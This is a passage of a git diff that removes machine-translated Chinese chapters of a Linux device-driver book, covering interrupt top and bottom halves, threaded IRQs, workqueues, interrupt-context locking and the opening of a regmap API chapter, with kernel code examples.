它们可能不会向/从用户空间传输数据,因为这可能会阻塞。 -* 它们可能不会休眠或依赖可能导致休眠的代码,例如调用`wait_event()`、使用`GFP_ATOMIC`以外的任何内容进行内存分配,或者使用互斥/信号量。 线程处理程序可以处理此问题。 -* 它们不能触发或调用`schedule()`。 -* Only one interrupt on a given line can be pending (its interrupt flag bits get set when its interrupt condition occurs, regardless of the state of its corresponding enabled bit or the global enabled bit). Any further interrupt of this line is lost. For example, if you are processing an RX interrupt while five more packets are received at the same time, you should not expect five times more interrupts to appear sequentially. You’ll only be notified once. If the processor doesn’t service the ISR first, there’s no way to check how many RX interrupts will occur later. This means that if the device generates another interrupt before the handler function returns `IRQ_HANDLED`, the interrupt controller will be notified of the pending interrupt flag and the handler will get called again (only once), so you may miss some interrupts if you are not fast enough. Multiple interrupts will happen while you are still handling the first one. - - 重要音符 - - 如果中断在禁用(或屏蔽)时发生,则根本不会对其进行处理(在流处理程序中屏蔽),但会被识别为断言并保持挂起状态,以便在启用(或取消屏蔽)时进行处理。 - - 中断上下文有自己的堆栈大小(固定且相当低)。 因此,在运行 ISR 时禁用 IRQ 是完全有意义的,因为如果发生太多次抢占,重入可能会导致堆栈溢出。 - - 中断的不可重入性概念意味着,如果中断已经处于活动状态,则在活动状态被清除之前,它不能再次进入该中断。 - -### 上半身和下半身的概念 - -外部设备向 CPU 发送中断请求,以通知特定事件或请求服务。 正如上一节所述,糟糕的中断管理可能会显著增加系统延迟并降低其实时质量。 我们还指出,中断处理(即硬 IRQ 处理程序)必须非常快,不仅要使系统保持响应,而且要确保它不会错过其他中断事件。 - -请看下图: - -![Figure 1.2 – Interrupt splitting flow ](img/Figure_1.2_B10985.jpg) - -图 1.2-中断拆分流 - -基本思想是将中断处理程序分成两部分。 第一部分是一个函数),它将运行在所谓的硬 IRQ 上下文中,禁用中断,并执行所需的最少工作(例如执行一些快速健全性检查、对时间敏感的任务、读/写硬件寄存器、处理该数据并在引发该数据的设备上确认中断)。 这第一部分是 Linux 系统上所谓的上半部分。 然后,上半部分调度一个(有时是线程化的)处理程序,该处理程序随后运行所谓的下半部分函数,并重新启用中断。 这是中断的第二部分。 然后,下半部分可以执行耗时的任务(例如缓冲处理)-根据延迟机制可能休眠的任务。 - -这种拆分将极大地提高系统的响应能力,因为禁用 IRQ 所花费的时间将减少到最小。 当下半部分在内核线程中运行时,它们会与运行队列中的其他进程竞争 CPU。 此外,可以设置它们的实时属性。 上半部分实际上是使用`request_irq()`注册的处理程序。 当使用`request_threaded_irq()`时,正如我们将在下一节中看到的,上半部分是提供给函数的第一个处理程序。 - -如前所述,下半部分表示从中断处理程序中调度的任何任务(或工作)。 下半部分的设计使用了一个工作延迟机制,这是我们之前看到的。 根据您选择的是哪一个,它可以在(软件)中断上下文中运行,也可以在进程上下文中运行。 这包括*软 IRQ*、*微线程、工作队列*和*线程化 IRQ*。 - -重要音符 - -Tasklet 和 SoftIRQ 实际上并不适合所谓的“线程中断”机制,因为它们在自己的特殊上下文中运行。 - -由于 softIRQ 处理程序在禁用调度程序抢占的情况下以高优先级运行,因此它们在完成之前不会将 CPU 让给进程/线程,因此在使用它们进行下半部分委派时必须小心。 现在,由于分配给特定进程的时间量可能会有所不同,因此对于 softIRQ 处理程序应该花费多长时间才能完成没有严格的规则,这样就不会因为内核无法将 CPU 时间分配给其他进程而使系统变慢。 我要说的是,这应该不会超过一半的即兴演讲。 - -硬 IRQ 处理程序(上半部分)必须尽可能快,而且大多数情况下,它应该只读写 I/O 内存。 任何其他计算都应该推迟到下半部分,它的主要目标是执行上半部分未执行的任何耗时且最少的中断相关工作。 关于上半部分和下半部分之间的重新划分工作,没有明确的指导方针。 以下是一些建议: - -* 硬件相关工作和时间敏感型工作应在上半部分完成。 -* 如果这项工作不需要中断,就在上半部分进行。 -* 在我看来,其他的一切都可以推迟--也就是在下半部分执行--这样它就可以在启用中断的情况下运行,并且在系统不那么繁忙的时候运行。 -* 如果硬 IRQ 处理程序足够快,可以在几微秒内一致地处理和确认中断,那么完全不需要使用下半部分委托。 - -接下来,我们将查看线程化 IRQ 处理程序。 - -### 线程化 IRQ 处理程序 - -引入线程化中断处理程序是为了减少在中断处理程序中花费的时间,并将其余工作(即处理)推迟到内核线程。 因此,上半部分(硬 IRQ 处理程序)将包括快速健全性检查,例如确保中断来自其设备,并相应地唤醒下半部分。 线程中断处理程序在其自己的线程中运行,或者在其父线程(如果有)的线程中运行,或者在单独的内核线程中运行。 此外,专用内核线程可以设置其实时优先级,尽管它以正常的实时优先级运行(即,如`kernel/irq/manage.c`中的`setup_irq_thread()`函数所示的`MAX_USER_RT_PRIO/2`)。 - -线程化中断背后的一般规则很简单:使硬 IRQ 处理程序尽可能少,并将尽可能多的工作推迟到内核线程(最好是所有工作)。 如果要请求线程中断处理程序,则应使用`request_threaded_irq()`(在`kernel/irq/manage.c`中定义): - -```sh -int -request_threaded_irq(unsigned int irq, -                     irq_handler_t handler, -                     irq_handler_t thread_fn, -                     unsigned long irqflags, -                     const char *devname, -                     void *dev_id) -``` - -此函数接受两个特殊参数`handler`和`thread_fn`。 其他参数与`request_irq()`的相同: - -* `handler`在中断上下文中发生中断时立即运行,并充当硬 IRQ 处理程序。 它的工作通常包括读取中断原因(在设备的状态寄存器中),以确定是否或如何处理中断(这在 MMIO 设备上很常见)。 如果中断不是来自其设备,则此函数应返回`IRQ_NONE`。 此返回值通常只在共享中断行上有意义。 在另一种情况下,如果该硬 IRQ 处理程序能够针对一组中断原因足够快地完成中断处理(这不是通用规则,但假设不超过 0.5 秒-即,如果定义快速值的`CONFIG_HZ`设置为 1,000,则不超过 500µs),则它应在处理后返回`IRQ_HANDLED`以确认中断。 不属于此时间段的中断处理应推迟到线程化 IRQ 处理程序。 在这种情况下,硬 IRQ 处理程序应该返回`IRQ_WAKE_T HREAD`以唤醒线程处理程序。 仅当还注册了`thread_fn`处理程序时,返回`IRQ_WAKE_THREAD`才有意义。 -* `thread_fn`是硬 IRQ 处理函数返回`IRQ_WAKE_THREAD`时添加到调度程序运行队列的线程处理程序。 如果在设置`handler`时`thread_fn`为`NULL`,并且返回`IRQ_WAKE_THREAD`,则在硬 IRQ 处理程序的返回路径上,除了显示一条简单的警告消息外,不会发生任何事情。 有关更多信息,请查看内核源代码中的`__irq_wake_thread()`函数。 当`thread_fn`与运行队列上的其他进程竞争 CPU 时,它可能会立即执行,也可能在将来系统负载较少时执行。 此函数在成功完成中断处理过程后应返回`IRQ_HANDLED`。 在此阶段,关联的 kthread 将从运行队列中移除,并处于阻塞状态,直到它再次被硬 IRQ 函数唤醒。 - -如果`handler`为`NULL`和`thread_fn != NULL`,则内核将安装默认的硬 IRQ 处理程序。 这是默认的主处理程序。 它是一个几乎为空的处理程序,它只返回`IRQ_WAKE_THREAD`,以便唤醒将执行`thread_fn`处理程序的相关内核线程。 这使得将中断处理程序的执行完全转移到进程上下文成为可能,从而防止有缺陷的驱动(有缺陷的 IRQ 处理程序)破坏整个系统并减少中断延迟。 专用的处理程序的 kthread 将在`ps ax`中可见: - -```sh -/* - * Default primary interrupt handler for threaded interrupts is * assigned as primary handler when request_threaded_irq is * called with handler == NULL. Useful for one-shot interrupts. - */ -static irqreturn_t irq_default_primary_handler(int irq,                                                void *dev_id) -{ -    return IRQ_WAKE_THREAD; -} -int -request_threaded_irq(unsigned int irq, -                     irq_handler_t handler, -                     irq_handler_t thread_fn, -                     unsigned long irqflags, -                     const char *devname, -                     void *dev_id) -{ -    [...] -    if (!handler) { -        if (!thread_fn) -            return -EINVAL; -        handler = irq_default_primary_handler; -    } -    [...] -} -EXPORT_SYMBOL(request_threaded_irq); -``` - -重要音符 - -现在,`request_irq()`只是对`request_threaded_irq()`进行包装,将`thread_fn`参数设置为`NULL`。 - -请注意,当您从硬 IRQ 处理程序(无论返回值是什么)返回时,中断在中断控制器级别得到确认,从而允许您考虑其他中断。 在这种情况下,如果中断尚未在设备级别得到确认,则中断将一次又一次地触发,导致级别触发中断的堆栈溢出(或永远停留在硬 IRQ 处理程序中),因为发出设备仍断言中断行。 在线程 IRQ 出现之前,当您需要在线程中运行下半部分时,您会在唤醒线程之前指示上半部分在设备级别禁用 IRQ。 这样,即使控制器准备接受另一个中断,设备也不会再次引发该中断。 - -`IRQF_ONESHOT`标志解决了这个问题。 它必须在使用线程中断时设置(在`request_threaded_irq()`调用时);否则,请求将失败,并显示以下错误: - -```sh -pr_err( - “Threaded irq requested with handler=NULL and !ONESHOT for irq %d\n”, - irq); -``` - -有关这方面的更多信息,请查看内核源码树中的`__setup_irq()`函数。 - -以下是介绍`IRQF_ONESHOT`标志的消息的摘录,并解释了它的作用(整个消息可以在[http://lkml.iu.edu/hypermail/linux/kernel/0908.1/02114.html](http://ebay.co.uk)中找到): - -“它允许驱动在硬中断上下文处理程序已执行且线程已被唤醒后请求不取消屏蔽中断(在控制器级别)。 执行线程处理程序函数后,中断行将被取消屏蔽。“ - -重要音符 - -如果省略了`IRQF_ONESHOT`标志,则必须提供一个硬 IRQ 处理程序(您应该在其中禁用中断行);否则,请求将失败。 - -仅线程 IRQ 的示例如下所示: - -```sh -static irqreturn_t data_event_handler(int irq, void *dev_id) -{ -    struct big_structure *bs = dev_id; -    process_data(bs->buffer); -    return IRQ_HANDLED; -} -static int my_probe(struct i2c_client *client, -                    const struct i2c_device_id *id) -{ -    [...] -    if (client->irq > 0) { -        ret = request_threaded_irq(client->irq, -                               NULL, -                               &data_event_handler, -                               IRQF_TRIGGER_LOW | IRQF_ONESHOT, -                               id->name, -                               private); -        if (ret) -            goto error_irq; -    } -    [...] -    return 0; -error_irq: -    do_cleanup(); -    return ret; -} -``` - -在前面的示例中,我们的设备位于 I2C 总线上。 因此,访问可用数据可能会导致其休眠,因此不应在硬 IRQ 处理程序中执行此操作。 这就是我们的处理程序参数为`NULL`的原因。 - -给小费 / 翻倒 / 倾覆 - -如果需要在多个设备之间共享线程化 ISR 处理的 IRQ 线路(例如,某些 SoC 在其内部 ADC 和触摸屏模块之间共享相同的中断),则必须实现硬 IRQ 处理程序,该处理程序应检查您的设备是否引发了中断。 如果中断确实来自您的设备,则应在设备级别禁用中断并返回`IRQ_WAKE_THREAD`以唤醒线程处理程序。 中断应该在线程处理程序的返回路径中的设备级别重新启用。 如果中断不是来自您的设备,您应该直接从硬 IRQ 处理程序返回`IRQ_NONE`。 - -此外,如果一个司机在线路上设置了`IRQF_SHARED`或`IRQF_ONESHOT`标志,则共享该线路的每个其他司机必须设置相同的标志。 `/proc/interrupts`文件列出 IRQ 及其每个 CPU 的处理、在请求步骤中给定的 IRQ 名称,以及为该中断注册 ISR 的驱动的逗号分隔列表。 - -线程 IRQ 是中断处理的最佳选择,因为它们可能占用太多的 CPU 周期(大多数情况下超过一瞬间),例如批量数据处理。 线程 IRQ 允许单独管理其关联线程的优先级和 CPU 亲和性。 因为这个概念来自实时内核树(来自*Thomas Gleixner*),所以它满足了实时系统的许多要求,比如允许使用细粒度优先级模型和减少内核中的中断延迟。 - -看一下`/proc/irq/IRQ_NUMBER/smp_affinity`,它可用于获取或设置相应的`IRQ_NUMBER`亲和性。 此文件返回并接受位掩码,该位掩码表示哪些处理器可以处理已为此 IRQ 注册的 ISR。 例如,通过这种方式,您可以决定将硬 IRQ 与一个 CPU 的亲和性设置为与另一个 CPU 的亲和性,同时将线程处理程序的亲和性设置为与另一个 CPU 的亲和性。 - -### 请求上下文 IRQ - -请求 IRQ 的驱动必须事先知道中断的性质,并决定其处理程序是否可以在硬 IRQ 上下文中运行,以便相应地调用`request_irq()`或`request_threaded_irq()`。 - -当请求由离散和非基于 MMIO 的中断控制器(如 I2C/SPI GPIO 扩展器)提供的 IRQ 线路时,会出现问题。 由于访问这些总线可能导致它们休眠,因此在硬 IRQ 上下文中运行如此缓慢的控制器的处理程序将是一场灾难。 由于驱动不包含有关中断线路/控制器性质的任何信息,因此 IRQ 内核提供`request_any_context_irq()`API。 此函数确定中断控制器/线路是否可以休眠,并调用适当的请求函数: - -```sh -int request_any_context_irq(unsigned int irq, -                            irq_handler_t handler, -                            unsigned long flags, -                            const char *name, -                            void *dev_id) -``` - -`request_any_context_irq()`和`request_irq()`具有相同的接口,但语义不同。 根据底层上下文(硬件平台),`request_any_context_irq()`选择使用`request_irq()`的硬 IRQ 处理方法或使用`request_threaded_irq()`的线程处理方法。 它在失败时返回负错误值,而在成功时,它返回`IRQC_IS_HARDIRQ`(表示使用 Hardi-RQ 处理)或`IRQC_IS_NESTED`(表示使用线程版本)。 使用此函数,中断处理程序的行为在运行时决定。 有关更多信息,请通过以下链接查看在内核中介绍它的注释:[https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=ae731f8d0785](https://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git/commit/?id=ae731f8d0785)。 - -使用`request_any_context_irq()`的的优点是,您不需要关心 IRQ 处理程序中可以做什么。 这是因为处理程序将在其中运行的上下文取决于提供 IRQ 线的中断控制器。 例如,对于基于 GPIO-IRQ 的设备驱动,如果 GPIO 属于位于 I2C 或 SPI 总线上的控制器(在这种情况下,GPIO 访问可能休眠),则处理程序将被线程化。 否则(GPIO 访问可能不会休眠,并被内存映射,因为它属于 SoC),处理程序将在硬 IRQ 上下文中运行。 - -在下面的示例中,设备需要一条映射到 GPIO 的 IRQ 线路。 驱动不能假设给定的 GPIO 线是内存映射的,因为它来自 SoC。 它也可能来自独立的 I2C 或 SPI GPIO 控制器。 一个不错的做法是在这里使用`request_any_context_irq()`: - -```sh -static irqreturn_t packt_btn_interrupt(int irq, void *dev_id) -{ -    struct btn_data *priv = dev_id; -    input_report_key(priv->i_dev, -                     BTN_0, -                     gpiod_get_value(priv->btn_gpiod) & 1); -    input_sync(priv->i_dev); -    return IRQ_HANDLED; -} -static int btn_probe(struct platform_device *pdev) -{ -    struct gpio_desc *gpiod; -    int ret, irq; -    gpiod = gpiod_get(&pdev->dev, “button”, GPIOD_IN); -    if (IS_ERR(gpiod)) -        return -ENODEV; -    priv->irq = gpiod_to_irq(priv->btn_gpiod); -    priv->btn_gpiod = gpiod; -    [...] -    ret = request_any_context_irq( -                  priv->irq, -                  packt_btn_interrupt, -                  (IRQF_TRIGGER_FALLING | IRQF_TRIGGER_RISING), -                  “packt-input-button”, -                  priv); -    if (ret < 0) -        goto err_btn; -return 0; -err_btn: -    do_cleanup(); -    return ret; -} -``` - -前面的代码非常简单,但由于有了`request_any_context_irq()`,所以非常安全,它可以防止我们误解底层 GPIO 的类型。 - -### 使用工作队列来推迟下半部分 - -由于我们已经讨论了工作队列 API,因此我们将在这里提供一个如何使用它的示例。 这个例子并不是没有错误,而且还没有经过测试。 这只是一个演示,强调了通过工作队列实现下半部延迟的概念。 - -让我们从定义包含进一步开发所需元素的数据结构开始: - -```sh -struct private_struct { -    int counter; -    struct work_struct my_work; -    void __iomem *reg_base; -    spinlock_t lock; -    int irq; -    /* Other fields */ -    [...] -}; -``` - -在前面的数据结构中,我们的工作结构由`my_work`元素表示。 我们在这里没有使用指针,因为我们需要使用`container_of()`宏来获取指向初始数据结构的指针。 接下来,我们可以定义将在工作线程中调用的方法: - -```sh -static void work_handler(struct work_struct *work) -{ -    int i; -    unsigned long flags; -    struct private_data *my_data = -              container_of(work, struct private_data, my_work); -   /* -    * let’s proccessing at least half of MIN_REQUIRED_FIFO_SIZE -    * prior to re-enabling the irq at device level, and so that -    * buffer further data -    */ -    for (i = 0, i < MIN_REQUIRED_FIFO_SIZE, i++) { -        device_pop_and_process_data_buffer(); -        if (i == MIN_REQUIRED_FIFO_SIZE / 2) -            enable_irq_at_device_level(); -    } -    spin_lock_irqsave(&my_data->lock, flags); -    my_data->buf_counter -= MIN_REQUIRED_FIFO_SIZE; -    spin_unlock_irqrestore(&my_data->lock, flags); -} -``` - -在前面的代码中,我们在缓冲了足够的数据后开始数据处理。 现在,我们可以提供 IRQ 处理程序,它负责调度我们的工作,如下所示: - -```sh -/* This is our hard-IRQ handler.*/ -static irqreturn_t my_interrupt_handler(int irq, void *dev_id) -{ -    u32 status; -    unsigned long flags; -    struct private_struct *my_data = dev_id; -    /* Let’s read the status register in order to determine how -     * and what to do -     */ -    status = readl(my_data->reg_base + REG_STATUS_OFFSET); -    /* -     * Let’s ack this irq at device level. Even if it raises      * another irq, we are safe since this irq remain disabled      * at controller level while we are in this handler -     */ -    writel(my_data->reg_base + REG_STATUS_OFFSET, -          status | MASK_IRQ_ACK); -    /* -     * Protecting the shared resource, since the worker also      * accesses this counter -     */ -    spin_lock_irqsave(&my_data->lock, flags); -    my_data->buf_counter++; -    spin_unlock_irqrestore(&my_data->lock, flags); -    /* -     * Ok. Our device raised an interrupt in order to inform it      * has some new data in its fifo. But is it enough for us      * to be processed -     */ -    if (my_data->buf_counter != MIN_REQUIRED_FIFO_SIZE)) { -        /* ack and re-enable this irq at controller level */ -        return IRQ_HANDLED; -    } else { -        /* -         * Right. prior to schedule the worker and returning          * from this handler, we need to disable the irq at          * device level -         */ -        writel(my_data->reg_base + REG_STATUS_OFFSET, -               MASK_IRQ_DISABLE); -               schedule_work(&my_work); -    } -      /* This will re-enable the irq at controller level */ -      return IRQ_HANDLED; -}; -``` - -IRQ 处理程序代码中的注释足够有意义。 `schedule_work()`是安排我们工作的函数。 最后,我们可以编写我们的`probe`方法,它将请求我们的 IRQ 并注册上一个处理程序: - -```sh -static int foo_probe(struct platform_device *pdev) -{ -    struct resource *mem; -    struct private_struct *my_data; -    my_data = alloc_some_memory(sizeof(struct private_struct)); -    mem = platform_get_resource(pdev, IORESOURCE_MEM, 0); -    my_data->reg_base = -        ioremap(ioremap(mem->start, resource_size(mem)); -    if (IS_ERR(my_data->reg_base)) -        return PTR_ERR(my_data->reg_base); -     /* -      * work queue initialization. “work_handler” is the       * callback that will be executed when our work is       * scheduled. -      */ -     INIT_WORK(&my_data->my_work, work_handler); -     spin_lock_init(&my_data->lock); -     my_data->irq = platform_get_irq(pdev, 0); -     if (request_irq(my_data->irq, my_interrupt_handler, -                     0, pdev->name, my_data)) -         handler_this_error() -     return 0; -} -``` - -前面的探测方法的结构无疑表明我们面对的是平台设备驱动。 这里使用了通用 IRQ 和工作队列 API 来初始化我们的工作队列并注册我们的处理程序。 - -### 从中断处理程序内锁定 - -如果资源在个或多个使用上下文(kthread、work、线程 IRQ 等)之间共享,并且仅与线程下半部分共享(即,硬 IRQ 从不访问它们),则互斥锁是可行的方法,如下例所示:(t= - -```sh -static int my_probe(struct platform_device *pdev) -{ -    int irq; -    int ret; -    irq = platform_get_irq(pdev, i); -    ret = devm_request_threaded_irq(dev, irq, NULL,                                     my_threaded_irq, -                                    IRQF_ONESHOT, dev_                                    name(dev), -                                    my_data); -    [...] -    return ret; -} -static irqreturn_t my_threaded_irq(int irq, void *dev_id) -{ -    struct priv_struct *my_data = dev_id; -    /* Save FIFO Underrun & Transfer Error status */ -    mutex_lock(&my_data->fifo_lock); -    /* accessing the device’s buffer through i2c */ -    [...] -    mutex_unlock(&ldev->fifo_lock); -    return IRQ_HANDLED; -} -``` - -在前面的代码中,用户任务(kthread、work 等)和线程化的下半部分在访问资源之前都必须持有互斥体。 - -前面的案例是最简单的例证。 以下是一些规则,可以帮助您在硬 IRQ 上下文和其他上下文之间锁定: - -* *If a resource is shared between a user context and a hard interrupt handler*, you will want to use the spinlock variant, which disables interrupts; that is, the simple `_irq` or `_irqsave`/`_irq_restore` variants. This ensures that the user context is never preempted by this IRQ when it’s accessing the resource. This can be seen in the following example: - - ```sh - static int my_probe(struct platform_device *pdev) - { -     int irq; -     int ret; -     [...] -     irq = platform_get_irq(pdev, 0); -     if (irq < 0) -         goto handle_get_irq_error; -     ret = devm_request_threaded_irq(&pdev->dev, -                                     irq, -                                     my_hardirq, -                                     my_threaded_irq, -                                     IRQF_ONESHOT, -                                     dev_name(dev), -                                     my_data); -     if (ret < 0) -         goto err_cleanup_irq; -     [...] -     return 0; - } - static irqreturn_t my_hardirq(int irq, void *dev_id) - { -     struct priv_struct *my_data = dev_id; -     unsigned long flags; -     /* No need to protect the shared resource */ -     my_data->status = __raw_readl( -            my_data->mmio_base + my_data->foo.reg_offset); -     /* Let us schedule the bottom-half */ -     return IRQ_WAKE_THREAD; - } - static irqreturn_t my_threaded_irq(int irq, void *dev_id) - { -     struct priv_struct *my_data = dev_id; -     spin_lock_irqsave(&my_data->lock, flags); -     /* Processing the status status */ -     process_status(my_data->status); -     spin_unlock_irqrestore(&my_data->lock, flags); -     [...] -     return IRQ_HANDLED; - } - ``` - - 在前面的代码中,硬 IRQ 处理程序不需要持有自旋锁,因为它永远不会被抢占。 只有用户上下文必须保留。 在这种情况下,硬 IRQ 与其对应的线程之间可能不需要保护;即,在请求 IRQ 线路时设置了`IRQF_ONESHOT`标志。 此标志在硬 IRQ 处理程序完成后保持中断禁用。 设置此标志后,IRQ 行将保持禁用状态,直到线程处理程序运行完毕。 这样,硬 IRQ 处理程序和它的线程处理程序将永远不会竞争,并且可能不需要锁定两者之间共享的资源。 - -* 当资源在用户上下文和 softIRQ 之间共享时,您需要防范两件事:用户上下文可能会被 softIRQ 中断(请记住,softIRQ 在硬 IRQ 处理程序的返回路径上运行)和可以从另一个 CPU 进入关键区域的事实(请记住,同一个 softIRQ 可能在另一个 CPU 上同时运行)。 在这种情况下,您应该使用将禁用 softIRQ 的 Spinlock API 变体;即`spin_lock_bh()`和`spin_unlock_bh()`。 前缀`_bh`表示下半部分。 因为本章没有详细讨论这些 API,所以您可以使用`_irq`甚至`_irqsave`变体,它们也会禁用硬件中断。 -* 这同样适用于微线程(因为微线程是在 softIRQ 之上构建的),唯一的区别是微线程从不并发运行(它从不同时在多个 CPU 上运行);微线程在设计上是独占的。 -* 当涉及到硬 IRQ 和软 IRQ 之间的锁定时,需要注意两件事:软 IRQ 可以被硬 IRQ 中断,并且可以从另一个 CPU 进入临界区域(如果以这种方式设计,则任一种硬 IRQ 都可以进入`1`,相同的软 IRQ 可以进入`2`,或者另一个软 IRQ 可以进入`3`)。 因为在硬 IRQ 处理程序运行时,softIRQ 永远不会运行,所以硬 IRQ 处理程序只需要使用`spin_lock()`和`spin_unlock()`API,这可以防止其他硬处理程序在另一个 CPU 上进行并发访问。 然而,softIRQ 需要使用实际禁用中断的锁定 API-即`_irq()`或`irqsave()`变体-优先选择后者。 -* 因为 softIRQ 可能同时运行,所以在两个不同的 softIRQ 之间,甚至在 softIRQ 和自身(在另一个 CPU 上运行)之间可能需要*锁定。 在这种情况下,应使用`spinlock()`/`spin_unlock()`。 无需禁用硬件中断。* - -至此,我们已经看完了中断锁定,这意味着我们已经结束了本章。 - -# 摘要 - -本章介绍了本书后面几章将使用的一些核心内核功能。 我们讨论的概念涉及到 Linux 内核中断设计和实现的位操作,通过锁定助手和工作延迟机制。 到目前为止,您应该能够决定是否应该将中断处理程序分成两部分,并且知道哪些锁定原语适合您的需要。 - -在下一章中,我们将介绍 Linux 内核管理资源,这是一个用于将分配的资源管理卸载到内核的接口。* \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/02.md b/docs/master-linux-device-driver-dev/02.md deleted file mode 100644 index 9f6dfbf9..00000000 --- a/docs/master-linux-device-driver-dev/02.md +++ /dev/null @@ -1,1225 +0,0 @@ -# 二、利用 Regmap API 并简化代码 - -本章介绍 Linux 内核寄存器映射抽象层,并展示如何简化 I/O 操作并将其委托给 regmap 子系统。 处理设备,无论它们是内置在 SoC(**内存映射 I/O**,也称为**MMIO**)中,还是位于 I2C/SPI 总线上,都包括访问(读取/修改/更新)寄存器。 Regmap 变得必要,因为很多设备驱动都是开放编码的,它们的寄存器访问例程都是开放的。 **Regmap**代表**寄存器映射**。 它主要针对**ALSA SoC**(**ASOC**)开发,以消除编解码器驱动中冗余的开放编码 SPI/I2C 寄存器访问例程。 最初,regmap 提供了一组用于读/写非内存映射 I/O 的 API(例如,I2C 和 SPI 读/写)。 从那以后,MMIO regmap 进行了升级,现在我们可以使用 regmap 访问 MMIO。 - -目前,该框架抽象了 I2C、SPI 和 MMIO 寄存器访问,不仅在必要时处理锁定,还管理寄存器缓存以及寄存器的可读写。 它还处理 IRQ 芯片和 IRQ。 本章将讨论 regmap,并解释如何使用它来抽象 I2C、SPI 和 MMIO 设备的寄存器访问。 我们还将介绍如何使用 regmap 来管理 IRQ 和 IRQ 控制器。 - -本章将介绍以下主题: - -* Regmap 及其数据结构简介:I2C、SPI 和 MMIO -* Regmap 和 IRQ 管理 -* Regmap IRQ API 和数据结构 - -# 技术要求 - -为了在阅读本章时轻松自如,您需要以下内容: - -* 良好的 C 编程技能 -* 熟悉设备树的概念 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# regmap 及其数据结构简介-I2C、SPI 和 MMIO - -Regmap 是 Linux 内核提供的一种抽象寄存器访问机制,主要针对 SPI、I2C 和内存映射寄存器。 - -此框架中的 API 与总线无关,并在幕后处理底层配置。 也就是说,该框架中的主要数据结构是`struct regmap_config`,在内核源码树的`include/linux/regmap.h`中定义如下: - -```sh -struct regmap_config { -   const char *name; -   int reg_bits; -   int reg_stride; -   int pad_bits; -   int val_bits; -   bool (*writeable_reg)(struct device *dev, unsigned int reg); -   bool (*readable_reg)(struct device *dev, unsigned int reg); -   bool (*volatile_reg)(struct device *dev, unsigned int reg); -   bool (*precious_reg)(struct device *dev, unsigned int reg); -   int (*reg_read)(void *context, unsigned int reg,                   unsigned int *val); -   int (*reg_write)(void *context, unsigned int reg,                    unsigned int val); -   bool disable_locking; -   regmap_lock lock; -   regmap_unlock unlock; -   void *lock_arg; -   bool fast_io; -   unsigned int max_register; -   const struct regmap_access_table *wr_table; -   const struct regmap_access_table *rd_table; -   const struct regmap_access_table *volatile_table; -   const struct regmap_access_table *precious_table; -   const struct reg_default *reg_defaults; -   unsigned int num_reg_defaults; -   unsigned long read_flag_mask; -   unsigned long write_flag_mask; -   enum regcache_type cache_type; -   bool use_single_rw; -   bool can_multi_write; -}; -``` - -为简单起见,此结构中的某些字段已被删除,本章不对其进行讨论。 只要正确完成`struct regmap_config`,用户就可以忽略底层总线机制。 让我们介绍一下这个数据结构中的字段: - -* `reg_bits`以位为单位表示寄存器的大小。 换句话说,它是寄存器地址中的位数。 -* `reg_stride`是寄存器地址的步长。 如果寄存器地址是该值的倍数,则该寄存器地址有效。 如果设置为`0`,将使用值`1`,这意味着任何地址都是有效的。 对不是该值倍数的地址的任何读/写操作都将返回`-EINVAL`。 -* `pad_bits`是寄存器和值之间的填充位数。 这是格式化时将寄存器的值向左移位的位数。 -* `val_bits`:这表示用于存储寄存器值的位数。 这是必填字段。 -* `writeable_reg`:如果提供,此可选回调将在每次 regmap 写操作时调用,以检查给定地址是否可写。 如果此函数在给定给 regmap 写入事务的地址上返回`false`,则该事务将返回`-EIO`。 以下摘录显示了如何实现此回调: - - ```sh - static bool foo_writeable_register(struct device *dev,                                    unsigned int reg) - { -     switch (reg) { -     case 0x30 ... 0x38: -     case 0x40 ... 0x45: -     case 0x50 ... 0x57: -     case 0x60 ... 0x6e: -     case 0xb0 ... 0xb2: -         return true; -     default: -         return false; -     } - } - ``` - -* `readable_reg`:这与`writeable_reg`相同,但用于寄存器读取操作。 -* `volatile_reg`:这是一个可选的回调函数,如果提供,则每次需要通过 regmap 缓存读取或写入寄存器时都会调用该回调函数。 如果寄存器是易失性的(寄存器值无法缓存),则函数应返回`true`。 然后对寄存器执行直接读/写。 如果返回`false`,则表示寄存器是可缓存的。 在这种情况下,高速缓存将用于读取操作,而在写入操作的情况下将写入高速缓存。 以下是随机选择假寄存器地址的示例: - - ```sh - static bool volatile_reg(struct device *dev,                          unsigned int reg) - { -     switch (reg) { -     case 0x30: -     case 0x31: -     [...] -     case 0xb3: -         return false; -     case 0xb4: -         return true; -     default: -         if ((reg >= 0xb5) && (reg <= 0xcc)) -             return false; -     [...] -         break; -     } -     return true; - } - ``` - -* `reg_read`:如果您的设备需要*个特殊的 hack*来进行读取操作,您可以提供一个自定义的读取回调,并使该字段指向该回调,以便不使用标准的 regmap 读取函数,而使用此回调。 也就是说,大多数设备都不需要这个。 -* `reg_write`:这与`reg_read`相同,但用于写入操作。 -* `disable_locking`:这表示是否应该使用`lock`/`unlock`回调。 如果为`false`,则不使用锁定机构。 这意味着该 regmap 要么受到外部手段的保护,要么保证不会被多个线程访问。 -* `lock`/`unlock`:这些是可选的锁定/解锁回调,覆盖 regmap 的默认锁定/解锁函数。 它们基于自旋锁定或互斥,这取决于访问底层设备是否可以休眠。 -* `lock_arg`:这是`lock`/`unlock`函数的唯一参数(如果未覆盖常规锁定/解锁函数,则将忽略该参数)。 -* `fast_io`:这表示寄存器的 I/O 很快。 如果设置,regmap 将使用自旋锁而不是互斥锁来执行锁定。 如果使用自定义锁定/解锁(这里不讨论)函数(参见内核源代码中`struct regmap_config`的`lock`/`unlock`字段),则忽略此字段。 它应仅用于“`no bus`”情况(MMIO 设备),而不适用于访问可能休眠的 I2C、SPI 或类似总线等慢速总线。 -* `wr_table`:这是`regmap_access_table`类型的`writeable_reg()`回调的替代方法,后者是一个包含`yes_range`和`no_range`字段的结构,这两个字段都是指向`struct regmap_range`的指针。 属于`yes_range`条目的任何寄存器都被认为是可写的,如果它属于`no_range`或未在`yes_range`中指定,则被认为是不可写的。 -* `rd_table`:这与`wr_table`相同,但适用于任何读取操作。 -* `volatile_table`:可以提供`volatile_table`,而不是`volatile_reg`。 原理与`wr_table`和`rd_table`相同,只是用于缓存机制。 -* `max_register`:这是可选的;它指定不允许操作的最大有效寄存器地址。 -* 